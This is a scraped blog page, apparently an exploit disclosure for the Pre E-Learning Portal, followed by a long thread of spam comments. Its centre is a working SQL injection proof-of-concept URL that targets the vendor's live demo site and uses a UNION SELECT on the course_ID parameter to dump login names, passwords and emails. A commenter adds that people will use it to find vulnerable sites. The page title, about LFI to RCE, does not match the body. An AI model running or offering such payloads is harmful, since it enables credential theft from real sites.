LFI to RCE via access_log injection

Pre E-Learning Portal SQL Injection Vuln


[o] Pre E-Learning Portal SQL Injection Vulnerability
Software : Pre E-Learning Portal
Vendor : http://www.preproject.com/
Demo : http://www.preprojects.com/elearning/
Author : NoGe
Contact : noge[dot]code[at]gmail[dot]com
Blog : http://evilc0de.blogspot.com/


[o] Vulnerable file
search_result.asp [ course_ID ]


[o] Exploit
http://localhost/elearning/search_result.asp?courses=1&course_ID=[SQL]


[o] Proof of Concept
http://www.preprojects.com/elearning/search_result.asp?courses=1&course_ID=194+and+1=0+union+all+select+1,(login%2B':'%2Bpassword%2B':'%2Bemail),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33+from+[login]#

u cant see the result?? press ctrl+u and scroll down.. :p

big thanks to Vrs-hCk



Comments

e Learning said…
Very nice. Thanks for sharing this and thanks to Vrs-hCk. I'm sure that lost of people will be happy with this.
evilc0de said…
a lost of people will be search for vulnerable site too.. :))
labatterie said…
You sure that lost of people will be happy with this.
I have been really glad after reading this blog as the knowledge which has been given via this blog is simply tremendous. I would congratulate and appreciate the blogger for doing this much hard work.
Unknown said…
Thanks for making such a cool post which is really very well written.I will be referring my friends about this article.Keep up your excellency and efficiency in this levels.
Dissertation Writers | dissertation proposal | buy dissertation
I feel strongly about it and love learning more on this topic. If possible, as you gain expertise, would you mind updating your blog with more information? It is extremely helpful for me.
This information is very good for me . Very spacial thanks to Author of this article
PayDay Loans said…
good to read this article, this is very informative for me.
dusty johnson said…
This is winter jackets a really excellent study for me, Must acknowledge that you are one of the best web owners I ever saw. winter coats
juliawells said…
Well that's Pre E-Learning Portal is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Teamwear Football
stevendusty said…
I just revenge of the fallen jacket discovered your website and desired to say that I have really experienced surfing around your posts shia la beouf clothing
When i found your current weblog site on the search engines and also test just a few within your quick discussions. Proceed to maintain upward this very good use. When i simply additional upward your current Feed for you to my own WINDOWS LIVE MESSENGER Information Viewer.
Well the Pre E-Learning Portal is vulnerable to SQL injection. A remote attacker could send specially-crafted SQL statements to the search_result.asp script using the course_ID parameter.
Athletic Clothing | Mens Golf Apparel | Adidas Polo | Izod
sandrasteve said…
The SQL injection vulnerability in search_result.asp in Pre Projects Pre E-Learning Portal allows remote attackers to execute arbitrary SQL commands via the course_ID parameter. thanks for the share the sharing this great and very informative post with us.
Where to Sell Gold | Cash Gold | Price of gold per gram
I believe this is a great site, you are working great on the content and quality of this site at the same time.
Unknown said…
This really is an awesome post, I’m happy I recently found.I am looking forward for your next post.
essay writing service in uk
jakhoz said…
I hardly ever write comments on blogs, but your article urged me to praise your blog. Thanks for the read, I will surely favorite your site and check in occasionally.

essay writing help | essay writing service | cheap essay writing | affordable essay writing
Great post... very informative for me. Thanks for sharing.
__________________________
Cheap Essay | Essay Blog
Unknown said…
I am really love your website, it is so great. Of course, welcome to visit our website too.
-----------------------
Online Essay
Primary focus of our company is on providing custom written essays. It is our aim to provide you with personalized academic assistance in preparing dissertation proposals, theses, literature reviews, MBA projects or reports.

UK Essay Writing
online casino said…
the large majority of excellent blogging site http://freeonlinecasinogamesx.webs.com online casino games
Thanks for sharing this great information and it's really wonderful to read. You are passing many important thoughts in this article. Use this best essay writing service for any future writing help.
Monnika Jacob said…
SQL is a critical and most common vulnerability in web application. Here I am sharing wonderful platform dissertation writing services for students in the UK to learn about SQL.
thanks for taking the time to share with us such a great article.I really appreciate your work. ! Such a great post !
Danny said…
E-learning is the basis of education during this challenging times of the COVID 19 pandemic. Also, don't forget to involve qualified data analysis statisticians when in need of dissertation data analysis help for your DNP, Law or any other course.
Danny said…
SPSS Data Analysis Services I agree with your sentiments. You are such an excellent writer and I am amazed by your capabilities. Keep up the amazing effort.
mrbobystone said…
Nice Blog ! Here We are Specialist in Manufacturing of Movies, Gaming, Casual, Faux Leather Jackets, Coats And Vests See Project Power Red Jacket
Harryjames said…
Thank you so much for sharing the information about Research Blog here. Dissertation Writing Services.
eddielydon said…
Your article is such an informative article. It is glad to read such those articles thanks for sharing.
leather peacoat
George Mark said…
I read blogs on a similar topic, but I never visited your blog. I added it to favorites and I’ll be your constant reader. yeezy gap round jacket
Thankful to you humane for giving this unbelievably surprising data. This is an awesome substance material and simple to look at. I collect various individuals visit your blog and enrapturing subject. naruto shippuden jacket
Leyla Doyle said…
Such a very useful article. Very interesting to read this article.I would like to thank you for the efforts you had made for writing this awesome article. Oujeer - Women Trench Coat
Goodness! Much obliged to you! I constantly needed to compose on my site something to that effect. Would I be able to incorporate a part of your post into my site? Cruella Jacket
Real Jackets said…
lakers jacket with championship I have a blog based on the same ideas you discuss and would really like to have
you share some stories/information. I know my visitors would value your work.
If you are even remotely interested, feel free to shoot me an e
Grateful to you thoughtful for giving this incomprehensibly groundbreaking information. This is a glorious substance material and easy to take a gander at. I gather different people visit your blog and enchanting subject. Yellowstone Jackets
Albert Watson said…
As you can see in the image above, the clothing line prominently depicts a swastika-like shape on each garment. The logo may be seen on sweatshirts, shoes, jackets, and other items. Tokyo Revengers Black Bomber Tokyo Manji Gang Jacket The correctness of these designs is, of course, debatable. Because of the controversy over Tokyo Revengers' usage of the sign, Shonen Jump chose to delete swastikas from the manga.
it was so remarkable to see you seeing this point, it genuinely feels wavering. A responsibility of appreciation is for sharing such a piece of colossal information which is particularly inconspicuous consistently. I have gotten confined with your site and will raise it to my assistants and others as well. white leather jacket
Real Jackets said…
This Blog is very informative for us. Thanks for writing about it. In this article, some examples help me in applying in daily life Yellowstone jackets
Sarah Josave said…
This is the right place to look! This is a wonderful post, and I agree with all you've said. Much obliged! Monica Yellowstone
Real Jackets said…
This Blog is very informative for us. Thanks for writing about it. In this article, some examples help me in applying in daily life Pelle Pelle Leather jackets
Sarah Josave said…
I enjoyed reading your essay. Thank you so much for everything. I had a good time reading your blog. Thank you for sharing and providing this information. Engaging in a desirable pastime is great for good fortune. Monica Yellowstone
Unknown said…
This blog is really informative.
Thank you

Best Collection
Alen said…
The best LSAT prep course is the one that fits your learning style and schedule. There are many different courses available, so research to find the one that will work best for you.
john said…
This post is very helpful.I like this post.marlboro leather jacket
Vivian Raddix said…
Thanks for making such a cool post. Very informative. Planning Foreign trips? Get our expert guidance for Documentation, Eligibility checks, Visitor Visa Application. Call us now for a FREE Counseling.
Zayn Khaled said…
An Islamic app called Prayer Time Bahrain was created to give users precise prayer times and alerts for Bahrain's five daily prayers. The software offers users precise prayer times that are computed using Bahrain's time zone, as well as a number of extra features like the qibla's direction, the ability to set up prayer alarms, and a calendar of significant Islamic holidays and events.
Movie Outfits said…
Party Poison Jacket is the answer. Inspired by Gerard Way's electrifying persona, this USA-favorite jacket will have you turning heads and setting the scene ablaze with your fearless style.
My Wrist Wraps said…
My Wrist Wraps make the best quality wholesale customized fitness products on the market for all your fitness needs and customize it.
Wrist Wraps
darknet hitman said…
This is the most excellent essay I've ever read. Thank you for providing this information. Please continue to send in new content.
do hitmen still exist
Excellent article! I appreciate the useful information you provided; if you are seeking for the most recent games, you may go to this website. Comic Con Costumes For Sale
Emma watson said…
Get ready to conquer the fashion circuit with our remarkable taylor swift ombre sequin jacket!
USTradeEnt said…
Engaging my attention, this blog has truly captured my interest. Its captivating content draws me in, making it a compelling read.
blog
Emma watson said…
Boldly express your love for Star Trek with the Star Trek Picard Season 3 Leather Jacket. It's not just clothing; it's a tribute to a cultural phenomenon.
Emma watson said…
This comment has been removed by the author.
REEDOT SPORTS said…
Reedot Sports is the manufacturer and supplier and wholesaler of custom gym gear like that custom wrist wraps and straps.
https://reedotsports.com/product/printed-wrist-wraps-wholesale/
REEDOT SPORTS said…
Reedot sports is the manufacturer and supplier of custom gear and wear. We offer wholesale price on bulk orders
Weightlifting belts manufacturer
ecomfist23 said…
Level up your Amazon game with our advance keyword search for PPC
because being seen is just as important as being sassy! Unleash a keyword arsenal that propels your products into the spotlight, leaving the competition in the dust. Ready to turn clicks into ka-ching? Let's make your Amazon presence as bold as your brand!
DLSAPK Shop said…
I find that understanding to be extremely useful. Many appreciation to the person who wrote of this piece. Also Click and download games.



alex12 said…
For the event, celebrity stylist and fashion designer Metta Conchetta meticulously crafted Jack Harlow's ensemble, dressing him in a fully iridescent ivory suit sourced from the renowned New York-based menswear label, Musika. The rapper made a stylish appearance at the Kentucky Derby, where he was seen alongside Drake. The pearly ensemble was complemented with a classic black tie, a silver watch, and black shoes, completing the sophisticated yet fashionable look.
Jack Harlow white suit
apkino.com said…
This comment has been removed by the author.